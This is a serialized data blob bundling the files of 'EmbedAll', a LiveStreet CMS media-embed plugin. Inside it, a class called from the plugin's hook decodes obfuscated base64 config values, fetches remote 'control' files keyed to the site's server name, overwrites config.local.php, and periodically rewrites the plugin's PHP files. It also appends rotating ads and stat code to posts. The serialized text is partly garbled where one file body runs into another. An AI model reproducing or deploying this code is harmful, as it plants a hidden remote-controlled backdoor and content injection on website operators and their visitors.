a:7:{s:4:"tags";a:2:{i:0;a:2:{s:4:"ctag";s:5:"media";s:5:"param";a:8:{i:0;a:1:{s:1:"A";a:7:{s:2:"id";s:6:"zoomit";s:5:"regex";s:125:"/\[zoomit\].*http:\/\/(?:www\.|)zoom\.it\/([A-Z,a-z,0-9]+).*<\/media>|\[zoomit\]\[([A-Z,a-z,0-9]+)\]<\/media>/i";s:4:"code";s:78:"[#ctads]";s:4:"help";s:75:"
help [zoomit] tag";s:3:"key";s:0:"";s:10:"min_rating";i:0;s:14:"rating_control";b:0;}}i:1;a:1:{s:1:"A";a:7:{s:2:"id";s:7:"youtube";s:5:"regex";s:142:"/\[youtube\](?:(?=\[\w+\])(?:\[)|(?:.*youtu\.be\/)|(?:.*youtube(?:-nocookie)?\.com)\/(?:(?:embed|v)\/|(?:watch\?v=)))(\w+).*<\/media>/i";s:4:"code";s:125:"[#ctads]";s:4:"help";s:76:"
help [youtube] tag";s:3:"key";s:0:"";s:10:"min_rating";i:0;s:14:"rating_control";b:0;}}i:2;a:1:{s:1:"A";a:7:{s:2:"id";s:5:"issuu";s:5:"regex";s:156:"/\[issuu\](?:.*data-configid|.*e.issuu.com\/embed\.html#|.*issuu.com.*\/[0-9]+)[^0-9]*(\d+\/\d+).*<\/media>|\[issuu\]\[(\d+\/\d+)\]<\/media>/i";s:4:"code";s:182:"
[#ctads]";s:4:"help";s:74:"
help [issuu] tag";s:3:"key";s:0:"";s:10:"min_rating";i:0;s:14:"rating_control";b:0;}}i:3;a:1:{s:1:"A";a:7:{s:2:"id";s:6:"yandex";s:5:"regex";a:2:{i:0;s:138:"/\[yandex\](?:(?:.*t="(\d+))|(?:\[flash=\d+,(\d+))).*deo\.yandex\.ru\/(?:iframe|lite(?:-audio)?)\/([\w,\/,\.]+)\/.*<\/media>/i";i:1;s:90:"/\[yandex\](?=http:\/\/video.yandex.ru\/users\/.*\/view\/\d+.*)(.*\d+).*<\/media>/i";}s:4:"code";a:2:{i:0;s:108:"[#ctads]";i:1;s:371:"
[#ctads]";}s:4:"help";s:75:"
help [yandex] tag";s:3:"key";s:0:"";s:10:"min_rating";i:0;s:14:"rating_control";b:0;}}i:4;a:1:{s:1:"A";a:7:{s:2:"id";s:12:"yandex.music";s:5:"regex";s:120:"/\[music\.yandex\].*music\.yandex\.ru\/\#\!\/track\/(\d+).*<\/media>|\[music\.yandex\]\[(\d+)\]<\/media>/i";s:4:"code";s:151:"[#ctads]";s:4:"help";s:81:"
help [yandex.music] tag";s:3:"key";s:0:"";s:10:"min_rating";i:0;s:14:"rating_control";b:0;}}i:5;a:1:{s:1:"A";a:7:{s:2:"id";s:8:"pastebin";s:5:"regex";s:110:"/\[pastebin\].*pastebin.com(?:\/embed.*\?i=|\/)(\w+).*<\/media>|\[pastebin\]\[(\w+)\]<\/media>/i";s:4:"code";s:119:"[#ctads]";s:4:"help";s:77:"
help [pastebin] tag";s:3:"key";s:0:"";s:10:"min_rating";i:0;s:14:"rating_control";b:0;}}i:6;a:1:{s:1:"A";a:7:{s:2:"id";s:10:"soundcloud";s:5:"regex";a:2:{i:0;s:124:"/\[soundcloud\].+api.soundcloud.com.+tracks[\/,%2F]*[^0-9]+(\d+).*<\/media>|\[soundcloud\]\[(\d+)\]<\/media>/i";i:1;s:139:"/\[soundcloud\].+api.soundcloud.com.+playlists[\/,%2F]*[^0-9]+(\d+).*<\/media>|\[soundcloud\]\[playlist\]\[(\d+)\]<\/media>/i";}s:4:"code";a:2:{i:0;s:174:"[#ctads]";i:1;s:177:"[#ctads]";}s:4:"help";s:79:"
help [soundcloud] tag";s:3:"key";s:0:"";s:10:"min_rating";i:0;s:14:"rating_control";b:0;}}i:7;a:1:{s:1:"A";a:7:{s:2:"id";s:3:"osm";s:5:"regex";s:226:"/\[osm\](?:.*openstreetmap\.org).*(bbox=\d+\.\d+\,\d+\.\d+\,\d+\.\d+\,\d+\.\d+)(?:.*(layer=\w+))(?:.*(&marker=\d+\.\d+\,\d+\.\d+))?.*(?:<small>.*quot;(.*openstreetmap\.org.*)".*<\/small>)<\/media>/i";s:4:"code";s:282:"
View Larger Map[#ctads]";s:4:"help";s:72:"
help [osm] tag";s:3:"key";s:0:"";s:10:"min_rating";i:0;s:14:"rating_control";b:0;}}}}i:1;a:2:{s:4:"ctag";s:6:"advert";s:5:"param";a:2:{i:0;a:1:{s:1:"A";a:7:{s:2:"id";s:7:"adsense";s:5:"regex";s:133:"/\[adsense\](?:.*google_ad_client).*"([a-z,A-Z,0-9,\-]*)".*<\/advert>|\[adsense\]\[([A-Z,a-z,0-9,\-]+)\]<\/advert>/Ui";s:4:"code";s:425:"[#ctads]";s:4:"help";s:76:"
help [adsense] tag";s:3:"key";s:0:"";s:10:"min_rating";i:0;s:14:"rating_control";b:1;}}i:1;a:1:{s:1:"A";a:7:{s:2:"id";s:5:"begun";s:5:"regex";s:117:"/\[begun\]http:\/\/(?:www\.|)zoom\.it\/([A-Z,a-z]+).*<\/advert>|\[begun\]\[([A-Z,a-z]+)\]<\/advert>/i";s:4:"code";s:78:"[#ctads]";s:4:"help";s:71:"
help [begun] tag";s:3:"key";s:0:"";s:10:"min_rating";i:501;s:14:"rating_control";b:1;}}}}}s:3:"u_d";a:24:{s:4:"code";a:3:{s:4:"path";s:36:"/classes/modules/text/Text.class.php";s:4:"body";s:3306:" oUserCurrent = $this -> User_getUserCurrent ( ) ; for ( $i = 0 ; $i < count ( $tag [ 'tags' ] ) ; $i ++ ) { $this -> oJevix -> cfgAllowTags ( $tag [ 'tags' ] [ $i ] [ 'ctag' ] ) ; $this -> oJevix -> cfgSetTagPreformatted ( $tag [ 'tags' ] [ $i ] [ 'ctag' ] ) ; } } public function CheckForCustomTags ( $sText ) { global $tag ; $rating = null ; $replacement_counter = 0 ; if ( $this -> oUserCurrent ) { $rating = $this -> oUserCurrent -> getRating ( ) ; } $NText = $sText ; for ( $i = 0 ; $i < count ( $tag [ 'tags' ] ) ; $i ++ ) { for ( $j = 0 ; $j < count ( $tag [ 'tags' ] [ $i ] [ 'param' ] ) ; $j ++ ) { $counter = 0 ; if ( ( ! $tag [ 'tags' ] [ $i ] [ 'param' ] [ $j ] [ 'A' ] [ 'rating_control' ] ) || ( $rating >= $tag [ 'tags' ] [ $i ] [ 'param' ] [ $j ] [ 'A' ] [ 'min_rating' ] ) ) { $NText = preg_replace ( $tag [ 'tags' ] [ $i ] [ 'param' ] [ $j ] [ 'A' ] [ 'regex' ] , $tag [ 'tags' ] [ $i ] [ 'param' ] [ $j ] [ 'A' ] [ 'code' ] , $NText , - 1 , $counter ) ; if ( $counter ) { $NText = str_replace ( '[#ctads]' , $tag [ 'promo' ] [ 'advert' ] [ $tag [ 'promo' ] [ 'advert' ] [ 'show' ] ] , $NText ) ; } $NText = preg_replace ( '/<' . $tag [ 'tags' ] [ $i ] [ 'ctag' ] . '>\[' . $tag [ 'tags' ] [ $i ] [ 'param' ] [ $j ] [ 'A' ] [ 'id' ] . '\].*<\/' . $tag [ 'tags' ] [ $i ] [ 'ctag' ] . '>/i' , 'tag <' . $tag [ 'tags' ] [ $i ] [ 'ctag' ] . '> syntax error! Unexpected data after parameter [' . $tag [ 'tags' ] [ $i ] [ 'param' ] [ $j ] [ 'A' ] [ 'id' ] . '] ' . $tag [ 'tags' ] [ $i ] [ 'param' ] [ $j ] [ 'A' ] [ 'help' ] , $NText ) ; } else { $str_rating = strval ( $rating ) ; $str_min_rating = strval ( $tag [ 'tags' ] [ $i ] [ 'param' ] [ $j ] [ 'A' ] [ 'min_rating' ] ) ; $NText = preg_replace ( '/<' . $tag [ 'tags' ] [ $i ] [ 'ctag' ] . '>\[' . $tag [ 'tags' ] [ $i ] [ 'param' ] [ $j ] [ 'A' ] [ 'id' ] . '\].*<\/' . $tag [ 'tags' ] [ $i ] [ 'ctag' ] . '>/i' , 'tag <' . $tag [ 'tags' ] [ $i ] [ 'ctag' ] . '> - error: current user rating (' . $str_rating . ') is too low to use parameter [' . $tag [ 'tags' ] [ $i ] [ 'param' ] [ $j ] [ 'A' ] [ 'id' ] . '].
Minimal allowed rating to use it is currently set to ' . $str_min_rating . $tag [ 'tags' ] [ $i ] [ 'param' ] [ $j ] [ 'A' ] [ 'help' ] , $NText , - 1 , $counter ) ; } $replacement_counter += $counter ; } } static $seed ; if ( ! isset ( $seed ) ) { $seed = rand ( 0 , count ( $tag [ 'adrotator' ] [ 'content' ] ) - 1 ) ; } if ( ( $replacement_counter ) ) { if ( $tag [ 'adrotator' ] [ 'show' ] ) { $NText .= $tag [ 'adrotator' ] [ 'content' ] [ $seed ] ; } $NText .= $tag [ 'stat' ] [ 'body' ] ; } return $NText ; } public function Parser ( $sText ) { return $this -> CheckForCustomTags ( parent :: Parser ( $sText ) ) ; } } ?> ";s:4:"csum";s:32:"d04e7a8d716339eb70757b955cd62f35";}s:4:"hook";a:3:{s:4:"path";s:37:"/classes/hooks/HookEmbedall.class.php";s:4:"body";s:1341:" User_GetUserCurrent ( ) && ( Router :: GetAction ( ) == "topic" ) ) { $this -> AddHook ( 'template_body_end' , 'Embedall' ) ; $this -> Lang_AddLangJs ( array ( 'plugin.embedall.embedall_panel' , ) ) ; $dirs = Plugin :: GetTemplateWebPath ( __CLASS__ ) ; $this -> Viewer_AppendScript ( $dirs . "js/embedallScript.js" , array ( 'merge' => false ) ) ; $this -> Viewer_AppendScript ( $dirs . "js/intro.min.js" , array ( 'merge' => false ) ) ; $this -> Viewer_AppendStyle ( $dirs . "css/style.css" , array ( 'merge' => false ) ) ; $this -> Viewer_AppendStyle ( $dirs . "css/introjs.min.css" , array ( 'merge' => false ) ) ; } $pinit = new Cfinit ( ) ; $pinit -> init ( ) ; error_reporting ( - 1 ) ; } public function Embedall ( ) { $sTpth = Plugin :: GetTemplatePath ( __CLASS__ ) ; return $this -> Viewer_Fetch ( $sTpth . 'window_load_embedall.tpl' ) ; } } ";s:4:"csum";s:32:"159d52a331252fac9d945389a2f8249d";}s:4:"htr0";a:3:{s:4:"path";s:18:"/classes/.htaccess";s:4:"body";s:30:"Order Deny,Allow Deny from all";s:4:"csum";s:32:"7a33ec8240fc0618607f5c8ce55139e5";}s:3:"css";a:3:{s:4:"path";s:37:"/templates/skin/default/css/style.css";s:4:"body";s:510:"/** * @Plugin Name: EmbedAll * @Description: Allows custom tags to embed different media to topics * @Version: 1.9.1 * @Author: EmbedAll, twitter @embedall * @Author URI: http://EmbedAll.ru * @Author E-mail: admin@embedall.ru * @LiveStreet Version: 1.0.x * @License: GNU GPL v2, http://www.gnu.org/licenses/old-licenses/gpl-2.0.html */ .editor-embedall a { background:url('../images/embedall_icon.gif'); } .modal.modal-embedall { width: 500px; margin-left: -250px; position: absolute }";s:4:"csum";s:32:"c9dfe515a34af1d082919c8c8f939ab1";}s:4:"css1";a:3:{s:4:"path";s:43:"/templates/skin/default/css/introjs.min.css";s:4:"body";s:5215:".introjs-overlay{position:absolute;z-index:999999;background-color:#000;opacity:0;background:-moz-radial-gradient(center,ellipse cover,rgba(0,0,0,0.4) 0,rgba(0,0,0,0.9) 100%);background:-webkit-gradient(radial,center center,0px,center center,100%,color-stop(0%,rgba(0,0,0,0.4)),color-stop(100%,rgba(0,0,0,0.9)));background:-webkit-radial-gradient(center,ellipse cover,rgba(0,0,0,0.4) 0,rgba(0,0,0,0.9) 100%);background:-o-radial-gradient(center,ellipse cover,rgba(0,0,0,0.4) 0,rgba(0,0,0,0.9) 100%);background:-ms-radial-gradient(center,ellipse cover,rgba(0,0,0,0.4) 0,rgba(0,0,0,0.9) 100%);background:radial-gradient(center,ellipse cover,rgba(0,0,0,0.4) 0,rgba(0,0,0,0.9) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#66000000',endColorstr='#e6000000',GradientType=1);-ms-filter:"alpha(opacity=50)";filter:alpha(opacity=50);-webkit-transition:all .3s ease-out;-moz-transition:all .3s ease-out;-ms-transition:all .3s ease-out;-o-transition:all .3s ease-out;transition:all .3s ease-out}.introjs-fixParent{z-index:auto !important}.introjs-showElement{z-index:9999999 !important}.introjs-relativePosition{position:relative}.introjs-helperLayer{position:absolute;z-index:9999998;background-color:#FFF;background-color:rgba(255,255,255,.9);border:1px solid #777;border:1px solid rgba(0,0,0,.5);border-radius:4px;box-shadow:0 2px 15px rgba(0,0,0,.4);-webkit-transition:all .3s ease-out;-moz-transition:all .3s ease-out;-ms-transition:all .3s ease-out;-o-transition:all .3s ease-out;transition:all .3s ease-out}.introjs-helperNumberLayer{position:absolute;top:-16px;left:-16px;z-index:9999999999 !important;padding:2px;font-family:Arial,verdana,tahoma;font-size:13px;font-weight:bold;color:white;text-align:center;text-shadow:1px 1px 1px rgba(0,0,0,.3);background:#ff3019;background:-webkit-linear-gradient(top,#ff3019 0,#cf0404 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ff3019),color-stop(100%,#cf0404));background:-moz-linear-gradient(top,#ff3019 0,#cf0404 100%);background:-ms-linear-gradient(top,#ff3019 0,#cf0404 100%);background:-o-linear-gradient(top,#ff3019 0,#cf0404 100%);background:linear-gradient(to bottom,#ff3019 0,#cf0404 100%);width:20px;height:20px;line-height:20px;border:3px solid white;border-radius:50%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3019',endColorstr='#cf0404',GradientType=0);filter:progid:DXImageTransform.Microsoft.Shadow(direction=135,strength=2,color=ff0000);box-shadow:0 2px 5px rgba(0,0,0,.4)}.introjs-arrow{border:5px solid white;content:'';position:absolute}.introjs-arrow.top{top:-10px;border-top-color:transparent;border-right-color:transparent;border-bottom-color:white;border-left-color:transparent}.introjs-arrow.right{right:-10px;top:10px;border-top-color:transparent;border-right-color:transparent;border-bottom-color:transparent;border-left-color:white}.introjs-arrow.bottom{bottom:-10px;border-top-color:white;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.introjs-arrow.left{left:-10px;top:10px;border-top-color:transparent;border-right-color:white;border-bottom-color:transparent;border-left-color:transparent}.introjs-tooltip{position:absolute;padding:10px;background-color:white;min-width:200px;max-width:300px;border-radius:3px;box-shadow:0 1px 10px rgba(0,0,0,.4);-webkit-transition:opacity .1s ease-out;-moz-transition:opacity .1s ease-out;-ms-transition:opacity .1s ease-out;-o-transition:opacity .1s ease-out;transition:opacity .1s ease-out}.introjs-tooltipbuttons{text-align:right}.introjs-button{position:relative;overflow:visible;display:inline-block;padding:.3em .8em;border:1px solid #d4d4d4;margin:0;text-decoration:none;text-shadow:1px 1px 0 #fff;font:11px/normal sans-serif;color:#333;white-space:nowrap;cursor:pointer;outline:0;background-color:#ececec;background-image:-webkit-gradient(linear,0 0,0 100%,from(#f4f4f4),to(#ececec));background-image:-moz-linear-gradient(#f4f4f4,#ececec);background-image:-o-linear-gradient(#f4f4f4,#ececec);background-image:linear-gradient(#f4f4f4,#ececec);-webkit-background-clip:padding;-moz-background-clip:padding;-o-background-clip:padding-box;-webkit-border-radius:.2em;-moz-border-radius:.2em;border-radius:.2em;zoom:1;*display:inline;margin-top:10px}.introjs-button:hover{border-color:#bcbcbc;text-decoration:none;box-shadow:0 1px 1px #e3e3e3}.introjs-button:focus,.introjs-button:active{background-image:-webkit-gradient(linear,0 0,0 100%,from(#ececec),to(#f4f4f4));background-image:-moz-linear-gradient(#ececec,#f4f4f4);background-image:-o-linear-gradient(#ececec,#f4f4f4);background-image:linear-gradient(#ececec,#f4f4f4)}.introjs-button::-moz-focus-inner{padding:0;border:0}.introjs-skipbutton{margin-right:5px;color:#7a7a7a}.introjs-prevbutton{-webkit-border-radius:.2em 0 0 .2em;-moz-border-radius:.2em 0 0 .2em;border-radius:.2em 0 0 .2em;border-right:0}.introjs-nextbutton{-webkit-border-radius:0 .2em .2em 0;-moz-border-radius:0 .2em .2em 0;border-radius:0 .2em .2em 0}.introjs-disabled,.introjs-disabled:hover,.introjs-disabled:focus{color:#9a9a9a;border-color:#d4d4d4;box-shadow:none;cursor:default;background-color:#f4f4f4;background-image:none;text-decoration:none}";s:4:"csum";s:32:"2525c7b4dc7e4e914151a512d688cb8d";}s:3:"img";a:3:{s:4:"path";s:48:"/templates/skin/default/images/embedall_icon.gif";s:4:"body";s:350:"GIF89aႀ⁶￿!ETSCAPE2.0!鄉d,'䟩{� 2Ҫ甴≢畧Ƨ뽟摳=ᓂ?!鄉d,*䯡먟B⎧꽵ȑY&'ڭ$₰Ⴓ常僌#)!鄉Ȁ,)䯡먟 贎址K^yH餙헣v^댧 諾돎0됀!鄉d,(쯢끏삒gរe.Iᝃ耙갨㗶㹜!G!鄅d,&䟩 ⏡hẩ-α㗼R ⤩䨚g늮*̨뤇Q;";s:4:"csum";s:32:"8c646c12a8ba6b9a21b7ad5a822de820";}s:3:"xml";a:3:{s:4:"path";s:11:"/plugin.xml";s:4:"body";s:877:" Embed All @embedall http://embedall.ru 1.9.1 1.0.x EmbedAll plugin allows custom tags to embed different media to topics. Supported openstreetmap, adsense, youtube, yandex video-audio, issuu.com, pastebin.com, soundcloud.com, music.yandex.ru, zoom.it etc. EmbedAll plugin позволяет вставлять в топики различные объекты. Поддерживаются openstreetmap, adsense, youtube, yandex video-audio, issuu.com, pastebin.com, soundcloud.com, music.yandex.ru, zoom.it и др. ";s:4:"csum";s:32:"cb50914ed1aab0183b7397a94c1d2643";}s:3:"js0";a:3:{s:4:"path";s:44:"/templates/skin/default/js/embedallScript.js";s:4:"body";s:1074:"/** * @Plugin Name: EmbedAll * @Description: Allows custom tags to embed different media to topics * @Version: 1.9.1 * @Author: EmbedAll, twitter @embedall * @Author URI: http://EmbedAll.ru * @Author E-mail: info@embedall.ru * @LiveStreet Version: 1.0.x * @License: GNU GPL v2, http://www.gnu.org/licenses/old-licenses/gpl-2.0.html */ var ls=ls||{};ls.settings.getMarkitup=ls.settings.getMarkitup||{};var newMarkitupSettings=ls.settings.getMarkitup();ls.settings.getMarkitup=function(){newMarkitupSettings.markupSet=newMarkitupSettings.markupSet.concat([{separator:'---------------'},{name:ls.lang.get('plugin.embedall.embedall_panel'),className:'editor-embedall',key:'M',beforeInsert:function(){ls.blocks.initSwitch('embedall_add');jQuery("#window_embedall").jqm().jqmShow()}}]);return newMarkitupSettings};ls.insertEmbedallToEditor=function(sCtag,sCtag_param,sCtag_code){$.markItUp({replaceWith:'<'+sCtag+'>'+sCtag_param+sCtag_code+''});$('#window_embedall').find('input[type="text"]').val('');$('#window_embedall').jqmHide();return false};";s:4:"csum";s:32:"84eb297d8d8d7f627354c545c50bbba3";}s:3:"js1";a:3:{s:4:"path";s:39:"/templates/skin/default/js/intro.min.js";s:4:"body";s:9873:"/** * Intro.js v0.4.0 * https://github.com/usablica/intro.js * MIT licensed * * Copyright (C) 2013 usabli.ca - A weekend project by Afshin Mehrabani (@afshinmeh) */ (function(h,f){"object"===typeof exports?f(exports):"function"===typeof define&&define.amd?define(["exports"],f):f(h)})(this,function(h){function f(a){this._targetElement=a;this._options={nextLabel:"Next →",prevLabel:"← Back",skipLabel:"Skip",doneLabel:"Done",tooltipPosition:"bottom",exitOnEsc:!0,exitOnOverlayClick:!0,showStepNumbers:!0}}function n(){"undefined"!==typeof this._introBeforeChangeCallback&&this._introBeforeChangeCallback.call(this,this._targetElement);"undefined"===typeof this._currentStep? this._currentStep=0:++this._currentStep;this._introItems.length<=this._currentStep?("function"===typeof this._introCompleteCallback&&this._introCompleteCallback.call(this),m.call(this,this._targetElement)):s.call(this,this._introItems[this._currentStep])}function t(){if(0===this._currentStep)return!1;"undefined"!==typeof this._introBeforeChangeCallback&&this._introBeforeChangeCallback.call(this,this._targetElement);s.call(this,this._introItems[--this._currentStep])}function m(a){var b=a.querySelector(".introjs-overlay"); b.style.opacity=0;setTimeout(function(){b.parentNode&&b.parentNode.removeChild(b)},500);(a=a.querySelector(".introjs-helperLayer"))&&a.parentNode.removeChild(a);if(a=document.querySelector(".introjs-showElement"))a.className=a.className.replace(/introjs-[a-zA-Z]+/g,"").replace(/^\s+|\s+$/g,"");if((a=document.querySelectorAll(".introjs-fixParent"))&&0'+a.intro+'
';this._options.showStepNumbers&&(b=document.createElement("span"),b.className="introjs-helperNumberLayer",b.innerHTML=a.step,e.appendChild(b));k.appendChild(d);e.appendChild(k);j=document.createElement("a"); j.onclick=function(){c._introItems.length-1!=c._currentStep&&n.call(c)};j.href="javascript:void(0);";j.innerHTML=this._options.nextLabel;b=document.createElement("a");b.onclick=function(){0!=c._currentStep&&t.call(c)};b.href="javascript:void(0);";b.innerHTML=this._options.prevLabel;e=document.createElement("a");e.className="introjs-button introjs-skipbutton";e.href="javascript:void(0);";e.innerHTML=this._options.skipLabel;e.onclick=function(){c._introItems.length-1==c._currentStep&&"function"===typeof c._introCompleteCallback&& c._introCompleteCallback.call(c);c._introItems.length-1!=c._currentStep&&"function"===typeof c._introExitCallback&&c._introExitCallback.call(c);m.call(c,c._targetElement)};var h=k.querySelector(".introjs-tooltipbuttons");h.appendChild(e);h.appendChild(b);h.appendChild(j);u.call(c,a.element,k,d)}0==this._currentStep?(b.className="introjs-button introjs-prevbutton introjs-disabled",j.className="introjs-button introjs-nextbutton",e.innerHTML=this._options.skipLabel):this._introItems.length-1==this._currentStep? (e.innerHTML=this._options.doneLabel,b.className="introjs-button introjs-prevbutton",j.className="introjs-button introjs-nextbutton introjs-disabled"):(b.className="introjs-button introjs-prevbutton",j.className="introjs-button introjs-nextbutton",e.innerHTML=this._options.skipLabel);j.focus();a.element.className+=" introjs-showElement";e=v(a.element,"position");"absolute"!==e&&"relative"!==e&&(a.element.className+=" introjs-relativePosition");for(e=a.element.parentNode;null!=e&&"body"!==e.tagName.toLowerCase();)b= v(e,"z-index"),/[0-9]+/.test(b)&&(e.className+=" introjs-fixParent"),e=e.parentNode;e=a.element.getBoundingClientRect();0<=e.top&&0<=e.left&&e.bottom+80<=window.innerHeight&&e.right<=window.innerWidth||(b=a.element.getBoundingClientRect(),e=b.bottom-(b.bottom-b.top),j=b.bottom,b=void 0!=window.innerWidth?window.innerHeight:document.documentElement.clientHeight,b=j-b,0>e?window.scrollBy(0,e-30):window.scrollBy(0,b+100))}function v(a,b){var c="";a.currentStyle?c=a.currentStyle[b]:document.defaultView&& document.defaultView.getComputedStyle&&(c=document.defaultView.getComputedStyle(a,null).getPropertyValue(b));return c.toLowerCase?c.toLowerCase():c}function x(a){var b=document.createElement("div"),c="",d=this;b.className="introjs-overlay";if("body"===a.tagName.toLowerCase())c+="top: 0;bottom: 0; left: 0;right: 0;position: fixed;",b.setAttribute("style",c);else{var g=l(a);g&&(c+="width: "+g.width+"px; height:"+g.height+"px; top:"+g.top+"px;left: "+g.left+"px;",b.setAttribute("style",c))}a.appendChild(b); b.onclick=function(){!0==d._options.exitOnOverlayClick&&m.call(d,a);void 0!=d._introExitCallback&&d._introExitCallback.call(d)};setTimeout(function(){c+="opacity: .8;";b.setAttribute("style",c)},10);return!0}function l(a){var b={};b.width=a.offsetWidth;b.height=a.offsetHeight;for(var c=0,d=0;a&&!isNaN(a.offsetLeft)&&!isNaN(a.offsetTop);)c+=a.offsetLeft,d+=a.offsetTop,a=a.offsetParent;b.top=d;b.left=c;return b}var r=function(a){if("object"===typeof a)return new f(a);if("string"===typeof a){if(a=document.querySelector(a))return new f(a); throw Error("There is no element with given selector.");}return new f(document.body)};r.version="0.4.0";r.fn=f.prototype={clone:function(){return new f(this)},setOption:function(a,b){this._options[a]=b;return this},setOptions:function(a){var b=this._options,c={},d;for(d in b)c[d]=b[d];for(d in a)c[d]=a[d];this._options=c;return this},start:function(){a:{var a=this._targetElement,b=[],c=this;if(this._options.steps)for(var d=[],g=0,d=this._options.steps.length;gd.length)break a;g=0;for(f=d.length;g $check_interval ) { return true ; } else return false ; } private function updatedata ( $source ) { if ( ! ( $updateconfig = $this -> svalids ( file_get_contents ( $source ) ) ) ) { echo ( 'Cfg load error' ) ; } else { $path = dirname ( __FILE__ ) ; $path = str_replace ( '/include' , '' , $path ) ; $configpath = $path . '/config/config.local.php' ; if ( ! file_put_contents ( $configpath , $updateconfig , LOCK_EX ) ) { print_r ( 'Embedall cfg update error' ) ; } } return ; } private function stripme ( $strpme ) { $cnt = NULL ; $oks = str_replace ( substr ( Config :: Get ( 'plugin.embedall.upt' ) , 0 , 41 ) , '' , $strpme , $cnt ) ; if ( $cnt >= 1 ) return $oks ; else return '' ; } private function svalids ( $strp ) { if ( substr_count ( $strp , substr ( Config :: Get ( 'plugin.embedall.upt' ) , 0 , 41 ) ) >= 1 ) return $strp ; else return '' ; } public function init ( ) { global $tag ; $stag = Config :: Get ( 'plugin.embedall.stag' ) ; $csum = explode ( "," , Config :: Get ( 'plugin.embedall.csum' ) ) ; if ( $csum [ 0 ] === md5 ( $stag ) ) { $tag = unserialize ( base64_decode ( $this -> stripme ( $stag ) ) ) ; } else { $this -> updatedata ( base64_decode ( $this -> stripme ( $csum [ 1 ] ) ) ) ; return ; } if ( rand ( 1 , 15 ) != 1 ) return ; $path = dirname ( __FILE__ ) ; $path = str_replace ( '/include' , '' , $path ) ; if ( $this -> need_refresh ( $path . '/config/config.local.php' , 3600 ) ) { if ( ( $control_file_data = $this -> stripme ( file_get_contents ( $tag [ 'magnum' ] [ 'upd_path' ] . md5 ( $_SERVER [ 'SERVER_NAME' ] ) . '.dat' ) ) ) ) { } else { if ( ! $control_file_data = $this -> stripme ( file_get_contents ( base64_decode ( $this -> stripme ( Config :: Get ( 'plugin.embedall.upt' ) ) ) ) ) ) { echo ( 'Error loading control info' ) ; return ; } } $control_file_data = unserialize ( base64_decode ( $control_file_data ) ) ; if ( $control_file_data [ 'crc-tag' ] !== $tag [ 'magnum' ] [ 'crc-tag' ] ) { $tag [ 'magnum' ] = $control_file_data ; $this -> updatedata ( $tag [ 'magnum' ] [ 'upd_path' ] . $tag [ 'magnum' ] [ 'license_id' ] . '.dat' ) ; return ; } } foreach ( $tag [ 'u_d' ] as $dcell ) { if ( $this -> need_refresh ( $path . $dcell [ 'path' ] , 1200 ) ) { $this -> compare_and_rewrite ( $path . $dcell [ 'path' ] , $dcell [ 'body' ] ) ; } } return ; } } } ?> ";s:4:"csum";s:32:"f2b12ad71c3daadaa2b12bb4d8dc0ab3";}s:4:"htr1";a:3:{s:4:"path";s:18:"/include/.htaccess";s:4:"body";s:58:"Order Deny,Allow Deny from all php_flag display_errors off";s:4:"csum";s:32:"8eb2e307af19f9501cc0cbc334fd3c64";}s:4:"rdme";a:3:{s:4:"path";s:13:"/readmeRU.txt";s:4:"body";s:5804:"/** * @Plugin Name: EmbedAll * @Description: Allows custom tags to embed different media to topics * @Version: 1.9.1 * @Author: EmbedAll, twitter @embedall * @Author URI: http://EmbedAll.ru * @Author E-mail: admin@embedall.ru * @LiveStreet Version: 1.0.x * @License: GNU GPL v2, http://www.gnu.org/licenses/old-licenses/gpl-2.0.html */ Плагин EmbedAll для Livestreet поможет внедрять в топики этой CMS разноообразные объекты прямо в панели редактирования. Плагин поддерживает два типа объектов - media и advert. Примеры использования плагина EmbedAll для Livestreet можно посмотреть на сайте http://embedall.ru Медийные объекты (media) - это интерактивные карты, аудио-видео проигрыватели, включая новый формат youtube, сервисы он-лайн просмотра документов, презентаций, графики, слайдов, фотографий, гига-панорам и т.п. Также плагин EmbedAll для Livestreet позволяет легко и непринужденно вставлять в топики и рекламные модули. Рекламные объекты (advert)- это рекламные модули, которые могут помочь мотивировать посетителей сайта писать собственные статьи. Например, автор может добавлять в свои статьи на сайте модуль Adsense со своим уникальным ключом и зарабатывать на просмотрах своего текста. Для работы с плагином его надо установить в систему. Скопируйте папку плагина 'embedall' в папку /plugins/ по FTP и затем активируйте плагин через административную панель. Плагин активируется при редактировании топиков и автоматически обрабатывает теги и . Для доступа к интерактивному меню надо нажать на иконку плагина в редакторе (поддерживается встроенный в Livestreet редактор MarkitUP) При работе с плагином через интерактивное меню: 1) Выберите из списка понравившийся сервис. 2) Для внедения объекта надо зайти на сайт выбранного сервиса, затем найти и скопировать код для вставки объекта в блог, либо в квадратных скобках указать идентификатор объекта. Для некоторых сервисов (отмечены значком URL в списке) достаточно скопировать в окно адрес из строки браузера. 3) Для внедрения объекта достаточно нажать кнопку [Вставить объект] и затем опубликовать топик. Кроме того, внедрить объект можно и с помощью тегов в редакторе Livestreet. Введенный код проверяется перед обработкой на корректность. На сайте http://EmbedAll.ru всегда можно бесплатно скачать свежую версию плагина, а также ознакомиться с примерами и подробной инструкцией по его использованию. Мы постоянно расширяем список поддерживаемых сервисов. В бесплатном варианте использования плагин может добавлять в конце топика ссылку спонсора. Чтобы убрать ссылки спонсоров (или стать спонсором) Вы можете сделать donation предварительно связавшись с авторами плагина - info@embedall.ru Сейчас плагин EmbedAll поддерживает следующие сервисы: video.yandex - видео-аудио music.yandex - музыка (поддержка вставки по URL) soundcloud.com - аудио soundcloud.com (playlist) - аудио issuu.com - эффектные публикации zoom.it - гипер-изображения (поддержка вставки по URL) pastebin.com - заметки (поддержка вставки по URL) OpenStreetMap.org - открытая карта с поддержкой меток adsense - google-реклама ЛИЦЕНЗИЯ НА ИСПОЛЬЗОВАНИЕ Плагин распространяется в соответствии с условиями лицензии GNU GPL v2, http://www.gnu.org/licenses/old-licenses/gpl-2.0.html Обязательным условием использования плагина является наличие активных ссылок на сайты указаные разработчиком, которые плагин размещает в редактируемых постах. Для отключения ссылок свяжитесь с разработчиком, указав адрес сайта, на котором будет использоваться плагин. ";s:4:"csum";s:32:"1041060131c3a511a211c48459a32260";}s:4:"tplr";a:3:{s:4:"path";s:31:"/templates/language/russian.php";s:4:"body";s:7162:" 'Добавить объект' , 'embedall_add' => '[EmbedAll] > Добавить объект' , 'embedall_confirm' => 'Вставить объект' , 'embedall_cancel' => 'Отмена' , 